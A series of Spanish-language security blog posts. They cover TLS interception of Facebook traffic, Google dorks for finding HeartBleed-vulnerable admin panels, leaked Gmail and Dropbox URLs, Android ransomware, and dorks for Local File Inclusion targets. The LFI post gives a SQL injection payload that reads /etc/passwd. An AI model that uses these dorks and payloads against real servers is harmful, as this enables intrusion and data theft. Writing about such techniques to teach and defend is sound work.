Una vez conseguido el plugin de Flash el permiso para abrir un Raw Socket SSL, lo que hace este addon no es nada más que implementar el Handshake SSL para analizar el certificado digital que le es entregado en bruto, y ver qué datos tiene para reportarlo al servidor que está llevando el análisis de la conexión.

El análisis de los certificados en las conexiones a Facebook

Por supuesto, no todos los certificados son el que entrega Facebook, y por tanto la conexión es alterada por posibles sistemas que, de una forma o de otra, hacen un Bridging HTTPs para entregar un certificado digital de un hombre en medio que les permita descifrar las conexiones.

No todas estas interceptaciones se hacen con el objetivo de espiar y dañar al usuario, sino que muchos de esos escenarios se basan en sistemas de seguridad que despliegan el certificado de un Firewall, Proxy de red - estas funciones fueron novedades en Forefront TMG - o Software de Control Parental, que buscan aplicar políticas de seguridad tanto corporativas como personales de los usuarios. En esos casos, lo que suele hacer ese software es algo tan sencillo como desplegar la clave pública de la CA del sistema de seguridad para que los clientes no generen alertas en los certificados que les vengan firmados por ellos, y la única forma en la que un usuario se podría dar cuenta de esto es si está usando algún software que realice Certificate Pinning.

Figura 3: Certificados descubiertos en el estudio

Curiosamente, uno de los fallos que este estudio ha sido capaz de sacar a la luz ha sido que uno de esos software de seguridad, en concreto los appliance Cyberoam de EliteCore utilizan todos la misma CA en todos los dispositivos, lo que hace que para que un atacante pueda robar los datos y hacer un man in the middle perfecto a una red que use este producto solo tiene que irse a otro appliance y sacar la clave privada. El resto sería tan sencillo como usar SSLSniff con esta clave privada para tener un man in the middle perfecto en esas redes.

Conclusiones

También apareció malware firmando sus propios certificados y atacantes haciendo man in the middle que estaba suplantando el emisor del certificado como si fuera Facebook para engañar visualmente a la víctima en las alertas mostradas durante el ataque, lo que deja a las claras que aún el usuario no acaba de entender bien todas las alertas de seguridad que se le muestra.

Figura 4: Falso certificado de Facebook que se uso para explotar un bug en Android

En cuanto a las soluciones propuestas, se habla de Strict HTTPs, algo que además evitaría el posible impacto de ataques de Bridging HTTP-HTTPs como el que hace la Evil FOCA en IPv6 para robar las contraseñas de Facebook - La demo de esto la tienes en el vídeo de la conferencia de DefCON 21 "Attacking IPv6 in Internet Connections with Evil FOCA" y en el libro de Ataques en redes de datos IPv4/IPv6 -, el uso del sistema de notarios que propuso Moxie Marlinskpike o Certificate Pinning.

De todas formas, aún parece que estamos un poco lejos de poder acabar definitivamente con los ataques en redes de datos, especialmente porque son pocas las redes de empresas que utilizan sistemas como IPSec, DNSSec o similares, o que han preparado sus sistemas de seguridad para IPv6. Eso sí, el estudio ha mostrado una forma muy interesante de hacer una análisis de las conexiones HTTP-s en las aplicaciones web que puede ser replicado en tu sitio si quieres pillar a alguien con el pie cambiado.

Saludos Malignos!

En el artículo de HeartBleed puede desangrarte vivo se explica cómo se puede explotar esta vulnerabilidad para robar las contraseñas de los usuarios de un servidor web, la demostración se hacía con un servidor Plesk publicado por el puerto 8443. El que ese puerto sea no demasiado común hace que muchos rastreos lo dejen fuera del radar. Pensando en cuántos tipos de servidores web, publicados a Internet en puertos no habituales, podrían estar esperando a que cualquiera le enviara un latido malicioso decidí hacer unas sencillas pruebas esta mañana de sábado que os paso a contar.

Detección automática con el navegador

Para simplificar la tarea de descubrir si un servidor es vulnerable o no, decidí automatizar este proceso mediante un plugin del navegador. Ahora existen muchos plugins como ChromeBleed para Google Chrome o FoxBleed para Mozilla Firefox que te ayudan a detectar cuando estás navegando por un servidor vulnerable a HeartBleed.

Figura 1: StopBleed y ChromeBleed instalados en Google Chrome

Esta protección es más que recomendable, y ayuda a saber cuáles son los servidores que podrían estar monitorizados en tiempo real para capturar todos los datos de la memoria del proceso OpenSSL vulnerable. Con uno de ellos activado en el navegador, ya estamos listos para poder comenzar a hacer un poco de hacking con buscadores.

Buscando los puertos comunes no habituales con OpenSSL

Como ya sabéis, el proceso OpenSSL puede usarse para muchos servicios, como VPN-SSL, FTP-s,LDAP-s, etcétera, pero también para paneles de administración web es común que los servidores HTTP-s de acceso estén en puertos distintos al que por defecto es usado para este servicio, el número 443.

Para encontrar cuántos puertos podrían tener servicios con SSL lo más sencillo es irse a cualquier base de datos de Well-Known Ports en Internet. En este caso yo utilicé la base de datos de puertos de Speed Guide que tiene un interfaz de búsqueda muy cómodo y una lista de puertos bastante ampliada. Una sencilla búsqueda por SSL para saber en cuántos puertos debería buscar para encontrar la mayoría de los servicios que pudieran tener una versión vulnerable de OpenSSL arrojó un total de 9977 servicios.

Figura 2: Puertos con algún servicio SSL en ellos

Esto quiere decir que si escaneamos todas las direcciones IP de Internet por esos 99 77 puertos buscando versiones de OpenSSL vulnerables tendríamos un porcentaje grandísimo de todas las versiones vulnerables expuestas a Internet. Si alguien se anima y me pasa los datos, estaré agradecido.

Seleccionando los paneles de administración web

Para poder hacer Hacking con Buscadores, lo más cómo es buscar aquellos puertos que son utilizados por servicios como Plesk (8443), para lo que una revisión manual es suficiente. Como podéis ver, salen cosas interesantes en la lista.

Figura 3: Servicios HTTPs por puertos no habituales

Entre ellos, servidores web de Oracle, OpenView o el popular CPanel, utilizando puertos no demasiado habituales en los escaneos de HTTPs. Ahora se trataría de localizar esos servidores web indexados en los buscadores. Vamos a ello.

El truco de barra para localizar los servidores web en Google

Si te has leído el libro de Pentesting con FOCA, sabrás que una de las cosas que hace la herramienta para buscar los servidores más interesantes a la hora de hacer un pentesting es utilizar El Truco de la Barra en Google Hacking.

Este truco es algo que no acabo de entender muy bien por qué funciona así, pero lo cierto es que si pones una barra antes del dominio en el modificador site, te permite buscar por puertos. Así, si queremos localizar servidores web en un determinado puerto pertenecientes a un dominio solo habría que hacer algo como site:/dominio:puerto/. En los siguientes ejemplos se puede ver cómo serían las búsquedas en Google para localizar servidores Cpanel en Alemania o Argentina.

Figura 4: Servidores indexados en Google por el puerto 2096 de Cpanel

Esto es válido para cualquier puerto en cualquier dominio. Por ejemplo, para localizar servidores de Oracle Web Application Server en un país, solo habría que cambiar el dominio y el puerto para obtener una lista de servidores indexados por ese puerto.

Detectando la vulnerabilidad de HeartBleed

Para detectar la vulnerabilidad, bastaría con obtener los resultados y abrir la página web en nuevas pestañas y el plugin de detección automáticamente irá cantando si el servidor es vulnerable o no al fallo. Yo he probado en varios países y sorprende ver lo fácil que es encontrar servidores de administración de hosting, webmails o herramientas de gestión publicadas sobre versiones vulnerables de OpenSSL.

Figura 5: Uno de los muchos Cpanels vulnerables a HeartBleed descubiertos

Esto deja claro que la vulnerabilidad va a dar mucho juego durante años, como el famoso bug de IIS que permitía ejecutar comandos remotamente en los servidores y que costó erradicar de Internet años.

La explotación de HeartBleed

Explotar el bug de HeartBleed para conseguir las credenciales de los usuarios es ya conocido, solo hay que monitorizar la memoria del proceso OpenSSL constantemente hasta que en un volcado aparezcan - en texto claro - las credenciales buscadas. Todos los pentesters tienen ya sus scripts y herramientas, y si usas FOCA ya sabes que tiene un plugin de monitorización continua para que se vuelque la memoria.

Figura 6: Monitorización continua de un bug de HeartBleed con el plugin de FOCA

Vamos a ver si desde Eleven Paths podemos sacar algún plugin de Latch para Plesk o CPanel para poder implantarlo. Ya teníais disponibles los de RoundCube, y SquirrelMail para servidores de WebMail y ahora está listo también el de Open-Xchange que podéis conseguir ya si nos lo pedís. Aquí tenéis una lista de guías y plugins de Latch para integrar ya. Si alguien se anima a querer integrarlo con Cpanel o Plesk, o cualquier otro servicio, nosotros le ayudamos.

Lo dicho ya con anterioridad. Si descubres que alguno de los servidores que utilizas habituales es vulnerable a HeartBleed, notifícalo y no envíes ningún dato hasta que no esté solucionado. Después cambia las passwords de esos sistemas. Si estás a cargo de una red, escanea los 99 77 puertos del principio en todas tus direcciones IP, a ver si aparece alguna versión vulnerable del software en algún punto.

Saludos Malignos!

Ya os he contado muchas veces historias de las entrevistas que suelo hacer a los jóvenes que vienen a solicitar una plaza del programa Talentum o para entrar a trabajar directamente en Eleven Paths. No es que yo sea el peor de ellos, que cuando pasan por los entrevistados por las manos de Palako, Dani "The Doctor" Kachakil o Pablo González las cosas andan por el estilo.

De muchas de esas entrevistas saco experiencias que intento entender, como cuando os hablé de los "malincuentes" que tienen que educarse a trompicones, o cuando os conté la aventura de la recta de barrido pintada píxel a píxel. En su momento, fui yo el que estuvo en el otro lado y el que tuvo que sacar un aprendizaje de no pasar una entrevista, así que a pesar de que la mayoría de la gente no pasa la prueba, yo siempre les animo a seguir con fuerza ya que yo tampoco la pasé en su momento.

Como ya conté en el discurso de la servilleta, yo fui un estudiante con un expediente normal. Compaginé mis estudios con un trabajo que me llevaba de 4 a 6 horas al día, lo que no me dejaba mucho tiempo para la distracción. Y por supuesto, saqué asignaturas en segunda y hasta tercera convocatoria.

Figura 1: Discurso de la servilleta

Sin embargo, aprendí muchas cosas que en mi vida futura me fueron útiles. Cosas como la algorítmica y la estructura de datos, como os narré en "el par de puntos más próximo: un ejemplo para un amigo", me hicieron entender que las cosas hay que hacerlas bien, que tiene un coste no hacerlas correctamente cuando se habla de ingeniería. La Universidad me dio esas herramientas que te ayudan a superar problemas, como el ejemplo que os publiqué sobre cómo resolver el factorial de 100 salvando las limitaciones del entorno.

Pero no solo aprendí eso. También aprendí a jugar con las torres Hanói, estadística, la marcha de Jarvis y el algoritmo de Melkman. Entendí el problema de los filósofos tragones el porqué hay que utilizar regiones críticas de forma adecuada. Cómo se debe gestionar un algoritmo de reemplazo de las páginas de memoria e incluso a programar transputers con el lenguaje Occam.

Aprendí muchas cosas que luego me han venido genial en el futuro, aunque en aquel entonces pensaba que no valían para nada. Cosas que siguen siendo la base de las tecnologías que hoy vivimos, a pesar de que se hayan evolucionado los paradigmas y los conceptos. Eso lo hace aún más bonito y apasionante.

Muchas de las cosa que aprendí las aprendí porque las tuve que estudiar a fondo. Las tuve que estudiar tanto porque como muchos otros ingenieros suspendí el primer y/o el segundo examen. Porque me salieron mal las prácticas y las tuve que rehacer. Porque en el examen tipo test en el que restaban los errores me confundí una vez más de las permitidas y me quedé en un 0.25 - no sé cómo era eso, pero parece que un error en un examen tipo test de esos que restan y siempre sacabas menos de un uno -, porque resolví mal el circuito o porque al calcular la intensidad de la señal se me fue un signo.... o qué se yo.

Figura 2: Un examen de redes de la UV tipo test, por si quieres evaluarte.

Suspender jode mucho, pero en el fondo es sano. Ayuda a fijar los conceptos. A que te des cuenta de que lo que creías que sabías no lo sabías. Ayuda a que vuelvas a leer las cosas, a rehacer los problemas y tratar de entender lo explicado en esa asignatura. No hay ningún trauma en suspender. Es una forma de afianzar el paso hacia el siguiente escalón.

Si apruebas de pura potra - ¿quién no ha ido de empalmada después de una fiesta a un examen de Universidad? - has perdido una oportunidad de oro de afianzar tus conceptos. Si pasas los exámenes sin afianzar los conceptos y sales de la carrera vadeando los temas complicados, las cosas difíciles, aprobando de suerte en los exámenes "regalo" o con los profesores blandos, saldrás de la carrera y tendrás un título, pero puede que no seas Ingeniero.

Os cuento todo esto porque hace poco hice una entrevista a un recién titulado en Ingeniería de Telecomunicaciones que no fue del todo bien. El CV me había sido enviado por un amigo para que viene si tenía hueco en Eleven Paths, ya que era un Teleco y sabía programar.

En nuestra primera conversación telefónica le cité para la entrevista y me pidió que le enviara la dirección por e-mail porque era muy difícil de recordar. Yo, con el afán de evaluar su capacidad de memorización le forcé a recordarla, ya que en el puesto que hipotéticamente pudiera haber alcanzado no contaría con una secretaria personal, así que no iba yo a hacer tal papel desde ya.

Cuando llegó al lugar no recordaba con quién tenía la entrevista - que era conmigo - ni sabía qué era Eleven Paths. Supongo que no habría tenido tiempo de mirar un poco en la web antes de venir para tener un poco más pistas de cómo iba a ser la entrevista. Debía venir confiando en sus posibilidades y no necesitaba más ayudas.

Sentado en su sitio, con el CV delante, comenzó la entrevista. Quería ponérselo fácil, así que le pregunté algo para lo que tienes que estar preparado siempre en una entrevista:

- "De todo lo que has visto en la Ingeniería, ¿Qué es lo que se te da mejor?"

En el fondo es una pregunta trampa, porque lo que digas va a marcar la dirección de la entrevista, y además será donde deberás demostrar un mayor nivel de conocimiento y experiencia. Si quieres tener todos los detalles de cómo suelo hacer yo una entrevista, las otras dos preguntas que siempre acabo por hacer son "¿Qué es lo que más te gusta?" y "¿Qué has hecho durante toda tu carrera que yo pueda ver?". Preguntas fáciles para respuestas delicadas.

En este caso, el joven entrevistado me dijo un tema un poco genérico, ya que contestó: "Las redes". Esa respuesta es tan genérica como peligrosa ya que ser experto en redes es tan complicado o más que ser experto en seguridad informática o hacking, así que opté por algo de nivel medio que ya había preguntado muchas veces con anterioridad. Saqué papel y boli e hice un pequeño gráfico.

- "OK, aquí tienes el equipo A, aquí el equipo B y esto del medio es un router. Quiero que pongas direcciones IPv6 en todos de ellos para que funcione un ping entre ellos".

El objetivo era saber cuántos conceptos de IPv6 tenía asimilados, pero cuando le di el bolígrafo y el papel me di cuenta de que algo no iba bien. Comenzó a poner algo como 190.290... Yo le miré raro, él dijo algo como "la 255 era la de broadcast, ¿no?". Y yo le dije ... "creo que estás en IPv4 y no muy allá". Al final no fue capaz de hacerlo ni en IPv4, pero se escudó con un "si hubiera sabido que la entrevista iba a ser así hubiera repasado un par de horas". Por supuesto intenté explicarle que repasar una carrera de Ingeniero de Telecomunicaciones en un par de horas no parecía muy factible.

Al final, tener un titulo de Ingeniero puede significar que eres Ingeniero o que aprobaste las asignaturas de la carrera de Ingeniería. Yo intento adivinar en cada entrevista qué tipo de entrevistado tengo en frente, y esto es algo que tú, si estás estudiando, debes plantearte. ¿Qué quieres hacer en tu carrera?

En este caso, el joven me reconoció que él era más de aprobar que de aprender, que no le gustaba tanto la carrera, que al final eligió esa carrera porque tenía muchas salidas y que su Proyecto de Fin de Carrera había sido centrado en la sostenibilidad medioambiental o algo así.

Si tú quieres ser Ingeniero, entonces que no te preocupe suspender. Eso significa que aún no has conseguido fijar bien los conocimientos en esa asignatura. Es mejor que suspendas, aprendas bien las cosas, y te hagas un buen Ingeniero. Sufre por el suspenso, pero sufre aprendiendo y sacando beneficio de esos malos momentos. Es mejor suspender como un Ingeniero, que sufrir las consecuencias en el futuro por un aprobado injusto.

Saludos Malignos!

Durante el año pasado ya os conté que me puse en contacto con el equipo de seguridad de Gmail porque me parecía que había demasiadas URLs indexadas en Google con parámetros de cuentas de Gmail. En total había más de 79.000 URLs indexadas que podrían suponer una fuga de información fea.

Figura 1: En Octubre había 79.400 URLs indexadas

Como os conté en aquel entonces, el equipo de seguridad de Google me digo que no era un leak y que no iban a hacer nada pero poco a poco fueron bajando las URLs indexadas para que al final, hace menos de un mes, casi todas las URLs desaparecieron de Google. En aquel entonces aparecían indexadas solo 168 URLs, lo que dejaba claro que algo habían hecho desde Google para quitarlas todas.

Figura 2: En abril solo quedaban 168 URLs

Hoy en día, las URLs de Gmail indexadas en Google han vuelto a subir un poco, y ya sobrepasan las 340, lo que hace suponer que lo que hizo el equipo de seguridad fue una limpieza puntual de URLs indexadas utilizando las Herramientas del Webmaster para que Google las eliminase y ahora están volviendo a subir porque no usaron ni X-Robots-Tag NoIndex ni la etiqueta HTML Tag Meta NoIndex. De nuevo se ven pequeños leaks con URLs enlazadas desde Gmail o direcciones de correo electrónico.

Figura 3: URLs de Gmail indexadas en Mayo de 2014

Lo que creo que confirma que Google hizo esa limpieza usando las Herramientas del Webmaster de Google es que si te vas a Bing y buscas las URLs de Gmail indexadas en ese buscador, puedes encontrar más de 121.000 disponibles.

Figura 4: 121.000 URLs indexadas en Bing

Puedes jugar con ellas, y encontrar las pequeñas fugas de información de los que hablaba al principio, como números de teléfono, direcciones de correo indexadas o parámetros de composición de mensajes.

Figura 5: Algunas URLs de Gmail en la base de datos de Bing

Si vas a buscar en Bing haciendo Hacking con Buscadores - aquí te dejé 10 motivos por los que debías pensar en hacerlo - recuerda que el Bing Hacking no tiene los mismos parámetros de búsqueda que el Google Hacking y que inurl no es necesario, basta con que pongas la cadena en la búsqueda que Bing ya la busca en la URL.

Figura 6: Un URL de Gmail que tiene algo que ver con Pedro

Así, si quieres alguna URL de Gmail que tuviera que ver con Pedro, solo tienes que poner lo que ves en la imagen siguiente y Bing te devolverá esa URL que se indexó y que tenía algo que ver con Pedro.

Saludos Malignos!

Como ya os había anticipado en un post anterior, me iba a tocar hacer un repaso de una serie de eventos que tendrán lugar durante el mes de Mayo y principios de Junio. Esta es la lista de los que pueden ser de tu interés ya que todas son gratuitas y puedes apuntarte si consigues hacerlo antes de que se acaben las plazas.

La gobernanza de Internet a debate en el Senado

El viernes 16 de Mayo se ha convocado un debate en el Senado para poder discutir entre todos cuál debe ser el modelo de Gobernanza en Internet. Este es un asunto delicado que busca encontrar una postura a la hora de cuidar de la red. Como es un tema complejo de tratar, le voy a dedicar una entrada a este debate en el blog con diversas opiniones para que podáis transmitir las vuestras propias, y llevarme el mayor número de reflexiones sobre el tema al evento.

Figura 1:16 de Mayo, Debate sobre la Gobernanza de Internet en el Senado

La participación en el debate dentro de el Senado es gratuita, así que puedes registrarte y venir a dar tu opinión de forma presencial en este tema tan importante.

x1RedMasSegura en Madrid

Desde el próximo jueves día 8 hasta el próximo sábado día 17 de Mayo - día de Internet -, tendrán lugar en el evento x1RedMásSegura una serie de talleres y conferencias orientadas al público general en las que se hablará de conceptos de seguridad y privacidad personal en Internet. Son unas jornadas no orientadas a profesionales del hacking o la seguridad informático sino a usuarios de Internet con el objetivo de poder explicarles conceptos que les ayuden en su vida personal.

Figura 2: 16 y 17 de Mayo, X1RedMásSegura

La lista de talleres a los que te puedes apuntar y la agenda de conferencias abiertas al público de los días 16 y 17 de Mayo están en la web de las jornadas. Yo estaré el sábado día 17 de Mayo dando una charla de una hora.

Un paseo por Colombia

Durante la semana que viene voy a estar unos días en Bogotá (Colombia), y creo que daré una charla abierta al público a través de Renata (Red Nacional Académica de Tecnología Avanzada) el próximo martes 13 de Mayo. No hay aún enlace al registro, pero os lo pondré por Twitter y actualizaré el post en cuanto lo tenga. Además es posible que haya alguna actividad más durante mi estancia en Colombia de la que también os avisaré en cuanto tenga los datos.

OWASP en Barcelona

Ya durante la primera quincena de Junio habrá un evento en Barcelona el día 13 del capítulo de OWASP España en el que habrá charlas orientadas a un público técnico con ponentes y temas habituales en las conferencias de nuestro sector. En esta jornada, que durará todo el día, habrá charlas dedicadas al malware, al cibercrimen, el reversing y auditoría web. La agenda la tienes en la web del capítulo español de OWASP.

Figura 3: OWASP España el día 13 de Junio en Barcelona

Además de todo esto, ya sabéis que yo seguiré los martes - hoy también - participando unos minutos el en programa de La Mañana con Javi Nieves hablando de tecnología, Internet y seguridad informática en general y el día 11 de Junio daré una charla en el Foro AUSAPE 2014 en Zaragoza.

Saludos Malignos!

En un post de su blog, DropBox ha publicado el fallo de seguridad que le ha llevado a cerrar temporalmente el servicio de compartición de carpetas de forma "Secreta" entre usuarios debido a un par de fallos de seguridad que podrían dejar expuestas todas las cosas que se comparten por Dropbox.

Figura 1: 1.510.000 URLs de Dropbox indexadas en Google

Lo cierto es que la compartición de carpetas Dropbox se basa en que alguien conozca la URL o no, lo que lleva a que si por casualidad, o por una fuga de información, esa URL cae en manos de terceros, toda la privacidad se fue al garete. De hecho, a mí me sorprendía la cantidad de URLs de carpetas de Dropbox que estaban indexadas en Google por una mala configuración de las etiquetas de indexación en el servicio, que a día de hoy todavía tiene 1.510.000 URLs de carpetas al alcance de cualquiera.

Figura 2: Dropbox ha deshabilitado muchos de los Shared Links

En este caso Dropbox ha reconocido que hay dos situaciones en las que el enlace acaba haciéndose público y ha deshabilitado muchos de los enlaces y cambiado la forma de crear esos enlaces. Estas son las dos situaciones que describe en su post donde podrían quedar expuestos los enlaces.

Situación 1:

Esta es la situación principal por la que se ha cambiado el sistema y que estaba siendo aprovechada por mucha gente.

- Alguien comparte un carpeta en la que hay un documento, por ejemplo un PDF.

- La persona que recibe en el enlace de la carpeta abre el documento PDF desde la URL compartida.

- En el documento PDF hay un enlace que lleva a www.elladodelmal.com

- En las estadísticas de www.elladodelmal.com aparece la URL de la carpeta compartida en Dropbox.

En mi caso, como en el de millones y millones de sitios de Internet, las estadísticas de www.elladodelmal.com son públicas, y pueden ser indexadas por cualquier buscador, por lo que la URL no solo cae en unas estadísticas privadas, sino que queda expuesta a todo Internet, siendo una causa más de ese 1.510.000 URLs indexadas en Google. En la siguiente imagen se ven los campos HTTP-Referer donde caen las URLs de los Shared Links de DropBox.

Figura 3: Campos HTTP Referer en las estadísticas públicas de El lado del mal

Situación 2:

La situación 2 es más curiosa y divertida. Consiste en que alguien pone la URL de la carpeta privada de Dropbox en el cuadro de búsqueda de Google en lugar de en la barra de direcciones del navegador. ¿Quién no ha buscado sin querer una URL alguna vez en su vida?

Figura 4: Búsqueda de una URL de Dropbox que acabará en los anunciantes

Pues bien, en ese caso la URL es pasada a los anunciantes, así que todos ellos pueden hacer una búsqueda en sus logs para localizar URLs del tipo dropbox.com/s/* y ver qué ha sido buscado por allí.

Para terminar

Evidentemente utilizar la URL como forma de protección para compartir documentos de forma secreta no es lo más recomendable ya que al final podría llegar a acabar en manos de cualquiera que hiciera hacking con buscadores. Si haces un uso extensivo de Dropbox tal vez deberías pensar en soluciones de compartición de documentos de forma protegida. Hay hasta soluciones como Prot-ON que permiten aplicar políticas de seguridad a documentos compartidos de forma pública.

Figura 5: Funcionamiento de Prot-ON

Por supuesto, Dropbox debería hacer algunas cosas más para evitar esta indexación masiva de documentos de sus clientes, ya que dependiendo de muchos factores el número de situaciones que pueden darse para que la URL acabe expuesta son muchas. Por eso sería recomendable que DropBox se encargara de:

1) Borrar todas las URLs que están indexadas en los buscadores. No solo el 1.510.000 indexadas en Google, sino las que haya también en Bing donde hay 68.500. No sea que se le olvide como al equipo de Gmail y se deje allí esas URLs.

Figura 6: URLs indexadas en Bing

2) Aplicar la etiqueta Meta HTML NoIndex y NoCache para evitar que el código HTML sea indexado.

3) Poner en las cabeceras de sus servidores web la X-Tag-NoIndex para evitar que se indexen URLs de cualquier otro contenido, como fotos o documentos comprimidos.

Saludos Malignos!

El pasado 5 de Febrero escribí un artículo en el que hablaba del primer Bootkit para Android, un malware que se infectaba aprovechando la falta de fortificación de la cadena de arranque de un sistema operativo Android en las implantaciones distribuidas. Tras ver que ya se habían portado los famosos bootkits de Windows, el siguiente paso parecía lógico: se iba a portar el ransomware que secuestra el terminal. Por ello escribí el párrafo siguiente:

Figura 1: Estaba claro que llegaría el Ransomware para Android

Ahora ya está aquí, y ha sido el famoso truco del Virus de la Polícia el que ha aparecido publicado en Ars Technica como ransomware portado a los terminales Android, al que se ha llamado Android-Trojan.Koler.A. Como se puede ver, el malware sigue con el mismo modelo de negocio, es decir, asustarte diciendo que has visto pornografía en Internet y exigir un pago para liberar el dispositivo. Para hacerlo más creíble utiliza la información GPS para saber en qué país se encuentra y así elegir el aviso correspondiente de la Policía, el FBI, la Polizia o la fuerza de seguridad del país de turno. El dinero que exige son 300 USD, cantidad nada desdeñable que compite con el valor de muchos terminales.

Figura 2: El Virus de la Policía portado a Android

Android ya cuenta con Adware a mansalva - solo hay que ver la serie que está publicando Sergio de los Santos (@ssantosv) en el artículo "El negocio de las FakeApps y el malware en Google Play" para darse cuenta de la cantidad de adware que se distribuye diariamente -, también contamos con Troyanos profesionales para el espionaje en Android, por supuesto con apps maliciosas para hacer estafas como la de la linterna molona y suscribirte a los SMS Premium o los juegos maliciosos que te roban el WhatsApp - o las APKs creadas por Metasploit -. Por si alguien quiere escaparse también están los Fake AV, Rogue AV o Falsos Antivirus para Android y desde hace no demasiado contamos con bootkits y ahora el Ransomware.

Figura 3: Fake Apps activas en Google Play sin ningún control

Se puede decir que ha calado entre los desarrolladores de Apps para Android este camino profesional donde muchos han encontrado formas paralelas de monetizar sus conocimientos pasando de modelos de negocio basados en venta de apps o sistemas tipo in-app purchase.

Saludos Malignos!

Años después, cuando sigo mostrando los sitios defaceados en tiempo real en Zone-h, la gente sigue preguntándome cómo es posible que alguien sea capaz de hacer esos ataques en tanto sitios. No hay ninguna trampa, solo experiencia y técnicas. Lo cierto es que en muchos de esos ataques hay un proceso de automatización basado en el descubrimiento de sitios vulnerables a un determinado fallo o exploit. Es decir, se tiene un exploit para un determinado CMS o Framework de Internet y se automatiza el descubrimiento de servidores con ese software afectado y la explotación del fallo. Por eso hay que tomar medidas de fortificación en los frameworks más populares como Joomla!, WordPress, y similares, ya que cuando se publica un nuevo bug para ellos, se explota de forma automatizada masivamente.

Figura 1: Los sitios defaceados y reportados esta mañana

En otras ocasiones se utilizan herramientas de escaneo automático en busca de vulnerabilidades explotables de SQL Injection, Command Injection, Remote File Inclusion, Métodos Put inseguros o Local File Inclusion, que serán las que más juego den a la hora de subir una Web Shell o meter un fichero para hacer un defacement.

Para localizar las posibles víctimas, desde hace ya muchos años se utilizan los buscadores, que permiten localizar mediante lo que se llamaron "dorks", a los que tienen una determinada característica que denota su vulnerabilidad. Esto se ha utilizado ya en ataques masivos para distribuir malware, buscando fallos de SQL Injection de forma masiva en Google y automatizando la inyección de scripts mediante sentencias Update, como se explica en el libro de Fraude Online. En alguna de ellas llegando a afectar a sitios como la propia Apple.

Saber jugar bien con Bing Hacking, Google Hacking, Shodan, Archive o Robtex es parte fundamental para los defacers, los pentesters, los analistas de seguridad y los investigadores. En el libro de Hacking con BuscadoresEnrique Rando cuenta algunos trucos muy interesantes de Google, y explica en detalle cómo utilizar los comodines para localizar objetivos concretos, algo que todos los perfiles citados anteriormente utilizan en algún momento.

Yo uso los buscadores en infinidad de ocasiones para todo tipo de cosas, como para localizar centralitas de VoIP a través de Shodan, localizar sitios vulnerables a HeartBleed por puertos no habituales o para encontrar ficheros ICA usando el operador contains de Bing. Por poner algunos ejemplos de los muchos artículos en los que me han venido.

Por poner un ejemplo de cómo teniendo control de los buscadores se puede sacar petróleo, alguien podría utilizar los comodines para poder localizar sitios vulnerables a LFI (Local File Inclusion). En estas vulnerabilidades lo que se trata de poder acceder a ficheros locales del servidor manipulando los parámetros de algún programa que accede al sistema de archivos donde corre la aplicación web y normalmente se encuentran de dos tipos.

Generalmente las vulnerabilidades más comunes de LFI, llamémoslas de Tipo 1, son ficheros que acceden directamente al sistema de ficheros construyendo la ruta de acceso con algún parámetro que se les pasa desde la URL. Se localizan porque alguno de los parámetros es el nombre de un fichero "loquesea.pdf", lo que atrae la atención del pentester para hacer algunas pruebas, como las que puedes ver en este post de "descubrir un LFI al estilo FOCA" que nosotros automatizamos en nuestro servicio de pentesting persistente Faast.

Figura 2: Descargando el fichero que descarga

Si se descubre el bug, que generalmente se hace intentando descargar el propio fichero que realiza la descarga de los ficheros, basta con introducir la ruta absoluta o relativa, según sea cada programa de descargas - en el de la Figura 2 se puede ver que es una ruta absoluta cuando el parámetro que se usa es "fichero" y relativa cuando el parámetro que se usa es "serie" -, para pedir el fichero que se desea obtener del servidor.

Figura 3: Un LFI en una web para acceder a /etc/passwd con ruta absoluta

En otras ocasiones, las que llamaremos de Tipo 2, no viene ningún nombre de fichero como parámetro, pero el nombre de la aplicación es algo como "descargarfichero.php" o el nombre del parámetro es "fichero=identificador", lo que indica que probablemente con ese parámetro se esté accediendo a una tabla en una base de datos - o un fichero XML que sería otra historia de XPath Injection - de la que se está recuperando o el nombre o la ruta completa del fichero. En esos casos hay que hacer un ataque de SQL Injection buscando inyectar la ruta del fichero buscado.

Es decir, en una aplicación en la que apareciera algo como fichero=23, y en la que el programador generase una consulta para acceder a la ubicación donde se almacena el fichero de forma similar a esto:

$SQLCommand="Select ruta from ficheros where id="+$_GET["fichero"]+";";

Lo que se debería hacer el algo como:

fichero=-1 union Select '/etc/passwd'

En cada motor de base de datos y en cada aplicación programada habría que ver cómo ajustar la cadena de inyección, pero en regla general sería algo así, pero eso es otra historia para otro libro.

Para las vulnerabilidades del Tipo 1 - que es lo que os venía a contar en esta historia - como en Google se pueden usar los comodines y el truco de la barra para jugar con las búsquedas, se pueden hacer dorks para localizar aquellas URLs que cumplan una serie de condiciones, por ejemplo que tengan la palabra php file y pdf con un patrón, o que sea lo mismo pero en Español.

Figura 4: Muchos resultados para jugar y probar

Figura 5: Miles de ellos en Español

Al final, estos dorks - dale al enlace de "Mostrar más resultados" - muestran una cantidad de sitios que cumplen esa estructura en su URL y que para cualquier herramienta automatizada para la búsqueda de bugs de LFI siguiendo unos patrones será fácil explotar.

Saludos Malignos!

Entre los muchos correos electrónicos que recibo hay muchos de gente que me cuenta que ha descubierto alguna cosa que tiene que ver con seguridad, lo que me ayuda a estar un poco más al día de lo que está sucediendo en el mundo de la seguridad. De todos ellos, hay algunos que suelen ser erróneos o que directamente no han hecho las pruebas. Por eso, cuando los leo, procuro intentar discernir si lo que me cuentan tiene sentido o no. Hoy os voy a hablar de uno de esos que resultó ser un misterio sin resolver.

El misterio de las passwords sin cifrar de Facebook

Uno de esos correos llegó con un asunto que decía "Contraseñas sin cifrar en Facebook". Mi primera suposición era que me iba a preguntar algo referente al artículo que escribí sobre cómo conseguir que las credenciales de Facebook se capturen por la red sin cifrado, pero no, no era eso. Cuando seguí leyendo el mensaje, me decía que se había dado cuenta de que en su cuenta de Facebook podía entrar con la contraseña escrita en mayúsculas cuando su contraseña está escrita en minúsculas, lo que para él significaba que Facebook no hashea las passwords en MD5.

Lógicamente no me lo creí y le dije que era imposible. Tengo claro que Facebook guarda hashes de las contraseñas y por supuesto no va a ser en MD5. Ya usarán un SHA256 con algún Salt o similares. Conociendo a la gente de seguridad que hay detrás de Facebook no iba ni a perder un minuto de tiempo en comprobar algo así. Contesté que no podía ser, que algo estaría haciendo mal en sus pruebas. Lo que pasó por mi cabeza fue que seguramente tenía cacheada la sesión o la contraseña y por eso estaba teniendo acceso. Aún así, probé a escribir todas las letras de mi contraseña de Facebook primero todo en minúsculas y luego todo en mayúsculas y no funcionó, por lo que contesté que a mí no funcionaba

